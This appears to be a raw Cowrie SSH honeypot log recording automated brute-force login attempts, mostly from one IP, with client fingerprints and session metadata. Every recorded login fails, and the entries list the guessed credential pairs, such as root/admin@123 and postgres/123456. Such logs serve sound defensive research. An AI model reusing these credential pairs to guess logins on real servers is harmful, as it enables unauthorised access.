{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:16.435152Z","src_ip":"192.109.200.237","session":"a39a4f9a3908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:16.684175Z","src_ip":"192.109.200.237","session":"a39a4f9a3908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:17.769877Z","src_ip":"192.109.200.237","session":"a39a4f9a3908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59722,"dst_ip":"159.203.135.109","dst_port":22,"session":"29cf6c90ac23","protocol":"ssh","message":"New connection: 192.109.200.237:59722 (159.203.135.109:22) [session: 29cf6c90ac23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:19.434653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:19.444116Z","src_ip":"192.109.200.237","session":"29cf6c90ac23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:19.526852Z","src_ip":"192.109.200.237","session":"29cf6c90ac23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:19.772902Z","src_ip":"192.109.200.237","session":"29cf6c90ac23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:20.857467Z","src_ip":"192.109.200.237","session":"29cf6c90ac23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"d425c76528c7","protocol":"ssh","message":"New connection: 192.109.200.237:38236 (159.203.135.109:22) [session: d425c76528c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:22.504057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:22.509298Z","src_ip":"192.109.200.237","session":"d425c76528c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:22.597133Z","src_ip":"192.109.200.237","session":"d425c76528c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:22.903946Z","src_ip":"192.109.200.237","session":"d425c76528c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:23.988779Z","src_ip":"192.109.200.237","session":"d425c76528c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b9b58998445","protocol":"ssh","message":"New connection: 192.109.200.237:38262 (159.203.135.109:22) [session: 7b9b58998445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:25.660669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:25.666009Z","src_ip":"192.109.200.237","session":"7b9b58998445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:25.748614Z","src_ip":"192.109.200.237","session":"7b9b58998445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:25.995025Z","src_ip":"192.109.200.237","session":"7b9b58998445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:27.080693Z","src_ip":"192.109.200.237","session":"7b9b58998445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38276,"dst_ip":"159.203.135.109","dst_port":22,"session":"77dc187a6904","protocol":"ssh","message":"New connection: 192.109.200.237:38276 (159.203.135.109:22) [session: 77dc187a6904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:28.695894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:28.700485Z","src_ip":"192.109.200.237","session":"77dc187a6904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:28.781837Z","src_ip":"192.109.200.237","session":"77dc187a6904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:29.059430Z","src_ip":"192.109.200.237","session":"77dc187a6904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:30.148617Z","src_ip":"192.109.200.237","session":"77dc187a6904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51828,"dst_ip":"159.203.135.109","dst_port":22,"session":"471d17ab942b","protocol":"ssh","message":"New connection: 192.109.200.237:51828 (159.203.135.109:22) [session: 471d17ab942b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:31.876708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:31.881519Z","src_ip":"192.109.200.237","session":"471d17ab942b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:31.963712Z","src_ip":"192.109.200.237","session":"471d17ab942b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:32.209946Z","src_ip":"192.109.200.237","session":"471d17ab942b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:33.294793Z","src_ip":"192.109.200.237","session":"471d17ab942b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51832,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaafd3157cc7","protocol":"ssh","message":"New connection: 192.109.200.237:51832 (159.203.135.109:22) [session: eaafd3157cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:34.919096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:34.924632Z","src_ip":"192.109.200.237","session":"eaafd3157cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:35.007992Z","src_ip":"192.109.200.237","session":"eaafd3157cc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:35.254925Z","src_ip":"192.109.200.237","session":"eaafd3157cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60564,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2898f6f8de","protocol":"ssh","message":"New connection: 94.159.98.239:60564 (159.203.135.109:22) [session: 4e2898f6f8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:35.581914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:35.771858Z","src_ip":"94.159.98.239","session":"4e2898f6f8de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:35.775555Z","src_ip":"94.159.98.239","session":"4e2898f6f8de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:36.341994Z","src_ip":"192.109.200.237","session":"eaafd3157cc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baseball1","message":"login attempt [root/baseball1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:37.003952Z","src_ip":"94.159.98.239","session":"4e2898f6f8de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51844,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e2b85c875c7","protocol":"ssh","message":"New connection: 192.109.200.237:51844 (159.203.135.109:22) [session: 3e2b85c875c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:38.047358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:38.050756Z","src_ip":"192.109.200.237","session":"3e2b85c875c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:38.132561Z","src_ip":"192.109.200.237","session":"3e2b85c875c7","protocol":"ssh"}
